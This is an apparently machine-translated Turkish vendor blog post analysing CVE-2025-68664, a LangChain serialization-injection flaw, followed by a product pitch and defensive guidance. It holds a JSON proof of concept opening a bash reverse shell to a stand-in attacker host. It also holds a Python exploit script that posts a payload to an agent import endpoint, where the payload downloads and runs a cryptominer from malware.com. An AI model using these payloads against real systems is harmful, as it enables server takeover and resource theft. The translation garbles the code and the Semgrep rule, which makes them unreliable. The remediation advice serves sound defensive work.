Penligent Başlık

Nükleer Seçenek: LangChain Serileştirme Enjeksiyonu CVE-2025-68664'e Derinlemesine Dalış

2025'in yapay zeka güvenlik savaşında LangChain Serileştirme Enjeksiyonu Güvenlik Açığı CVE-2025-68664 bir derinlik yükü kuvvetiyle vurur. Prompt Injection uygulama katmanındaki modeli "kandırmakla" ilgiliyse, CVE-2025-68664 altyapı katmanındaki sunucuya "sahip olmakla" ilgilidir.

Agentic AI için fiili orkestrasyon standardı olarak LangChain'in güvenlik duruşu kritik öneme sahiptir. CVE-2025-68664 (CVSS 9.8, Kritik), çerçevenin karmaşık Ajan durumlarının restorasyonunu nasıl ele aldığına dair temel bir mimari kusuru ortaya çıkarmaktadır: JSON Nesnesi Anlıklaştırmada Kontrol Hatası.

Bu makale yüzeysel haberciliği bir kenara bırakıyor. Tersine mühendislik bakış açısıyla langchain-core kaynak kodu, JSON'dan RCE'ye kadar tüm çağrı zincirini ortadan kaldırır ve Blue Teams için kurumsal düzeyde otomasyon kuralları sağlar.

Zafiyetin Anatomisi: Ne zaman Yük Arka Kapı Olur

LangChain'in gücü birleştirilebilir olmasında yatmaktadır. Zincirlerin ve Aracıların kalıcılığını desteklemek için LangChain şunları sağlar dumpd ve Yük yöntemleri, Python nesnelerinin JSON'a serileştirilmesine ve belleğe geri serileştirilmesine olanak tanır.

Kökü CVE-2025-68664 içinde bulunur langchain-core/load/load.py modülü. 2025 yamasından önceki sürümlerde, yükleyici hangi sınıfların örneklenebileceğine karar vermek için bir eşleme mekanizmasına dayanıyordu. Ancak, bu mekanizma bir mantık hatası içeriyordu: olarak işaretlenmiş serileştirilmiş nesneleri işlerken kurucu türünde, yükleyici modül yolunu kesin olarak doğrulamakta başarısız oldu. id alanı. Bu, saldırganların izin listesini atlamasına ve rastgele Python global modüllerini yüklemesine izin verdi.

Kaynak Seviyesi Mantık Arızası

Etkilenen sürümlerde yükleme mantığı kabaca şuna benziyordu (anlaşılır olması için basitleştirilmiştir):

Python

# Güvenlik açığı mantığının kavramsal gösterimi def load(obj, secrets_map=None): if isinstance(obj, dict) and "lc" in obj: # Nesne kimliğini çıkarın, örneğin, ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")

    # ZAYIFLIK: Kontrol mevcut olsa da, standart kütüphaneleri engelleyemiyor
    # Saldırgan yükü ["subprocess", "check_output"] şu yollardan geçer
    if obj.get("type") == "constructor":
        return _load_constructor(lc_id, obj.get("kwargs"))`

Saldırganlar bu durumdan belirli bir lc_id dizileri indüklemek için importlib hassas sistem modüllerini yüklemek için (örneğin os, alt süreç, sys) ve kurucularına kötü niyetli argümanlar iletir.

Silahlanma: Mükemmel RCE Yükünün Hazırlanması

Red Team araştırmacıları için yük yapısını anlamak doğrulamanın anahtarıdır. CVE-2025-68664 karmaşık bir ikili taşma gerektirmez-sadece hassas bir JSON parçacığı.

Aşama 1: İstismar Prototipi (PoC)

Bir hesap makinesi veya ters kabuk açmak için tasarlanmış standart bir JSON yükü şuna benzer:

JSON

{ "lc": 1, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }

Aşama 2: Python Exploit Script

Gerçek dünya senaryosunda, bir saldırgan bu yükü bir Web Uygulamasının "Import Config" uç noktasına veya bir Agent'ın Bellek deposuna enjekte edebilir.

Python

`import requests import json

LangChain Serileştirme Enjeksiyonuna Derinlemesine Bakış CVE-2025-68664

Hedef: LangChain yapılandırma dosyalarını kabul eden bir AI Agent hizmeti

url = "http://target-ai-service.com/api/v1/agent/import

payload = {"lc": 1, "type": "constructor", "id": ["subprocess", "run"], "kwargs": {"args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell": True, "capture_output": True } }

Kötü amaçlı serileştirilmiş verilerin gönderilmesi

Sunucu, langchain.load(json_data) çağrısı üzerine RCE'yi tetikler

r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f "Saldırı Durumu: {r.status_code}")`

Yapay Zeka Güdümlü Savunma: Penligent'ın Derin Denetim Teknolojisi

Geleneksel Web Tarayıcıları (Nikto veya OWASP ZAP gibi) tipik olarak CVE-2025-68664'e karşı başarısız olurlar çünkü bir JSON yükünün Python çalışma zamanı üzerindeki anlamsal etkisini anlayamazlar. Onlar geçerli JSON görürler; sunucu ise bir komut yürütme talimatı görür.

İşte burası Penligent.ai teknik üstünlüğünü ortaya koymaktadır. Penligent şunları kullanır Anlamsal Farkındalıklı Serileştirme Denetimi:

  1. AST Ters Analiz: Penligent'ın Yapay Zeka Ajanları sadece körü körüne bulanıklaştırma yapmaz. İlk olarak, belirli LangChain sürümünü ve yükleme mantığını tanımlamak için hedef uygulamanın AST'sini (Soyut Sözdizimi Ağacı) ayrıştırırlar. Güvenli olmayanları belirlerler Yük kod tabanındaki çağrılar.
  2. Dinamik Sandbox Doğrulaması: Algılama sırasında Penligent, izole edilmiş bir mikro-VM'de yükleme işlemini simüle eder. "Kanarya Belirteçleri" içeren serileştirilmiş nesneler enjekte eder. Nesne bir Bant Dışı (OOB) ağ isteğini (DNS sorgusu) başarıyla tetiklerse, sistem güvenlik açığını sıfır yanlış pozitif ile doğrular.

Penligent, kurumsal güvenlik ekipleri için "Code Commit "ten "Runtime Monitoring "e kadar tam spektrumlu savunma sunarak hiçbir kötü niyetli Agent yapılandırmasının üretime girmemesini sağlar.

Mavi Ekip El Kitabı: Tespit ve İyileştirme

Yamalar tam olarak dağıtılmadan önce Mavi Ekiplerin saldırı girişimlerini belirlemek için tespit kurallarına ihtiyacı vardır.

1. Semgrep Statik Analiz Kuralı

Kod tabanınızı güvenlik açığı bulunan çağrılara karşı taramak için aşağıdaki kuralı CI/CD işlem hattınıza ekleyin:

YAML

`kurallar:

  • id: langchain-unsafe-load kalıpları:
    • kalıp: langchain.load.load(...)
    • pattern-not: langchain.load.load(..., valid_namespaces=["langchain"]) message: "Güvenli olmayan LangChain serileştirme algılandı. CVE-2025-68664 RCE'ye izin verir. valid_namespaces'i kısıtlayın veya hemen yükseltin." languages: [Ciddiyet: ERROR`

2. Acil Durum İyileştirme

Plan A (Önerilen): Yükseltme Bağımlılıkları

LangChain, langchain-core >= 0.3.15 sürümünde bu mantığı düzeltti ve katı bir varsayılan izin listesi mekanizması getirdi.

B Planı (Geçici): Kod Sertleştirme

Hemen yükseltme yapamıyorsanız, yükleme işlevinin yükleme kapsamını manuel olarak kısıtlamanız gerekir:

Python

`from langchain_core.load import load

Yalnızca langchain ad alanından yüklemeye zorla izin ver

Alt süreç, işletim sistemi ve diğer sistem modüllerini reddeder

safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`

Sonuç

LangChain Serileştirme Enjeksiyonu Güvenlik Açığı CVE-2025-68664 YZ altyapı güvenliğinin "örtük güven" üzerine inşa edilemeyeceğini bir kez daha kanıtlıyor. YZ uygulamaları "Chatbot "lardan "Otonom Ajan "lara evrildikçe, serileştirme, durum depolama ve araç çağırmayı hedefleyen saldırı yüzeyi katlanarak büyüyecektir.

Güvenlik mühendisleri her şeyin arkasında load() işlevinde bir Shell bekliyor olabilir.

Güvenilir Referanslar

Gönderiyi paylaş:
İlgili Yazılar
tr_TRTurkish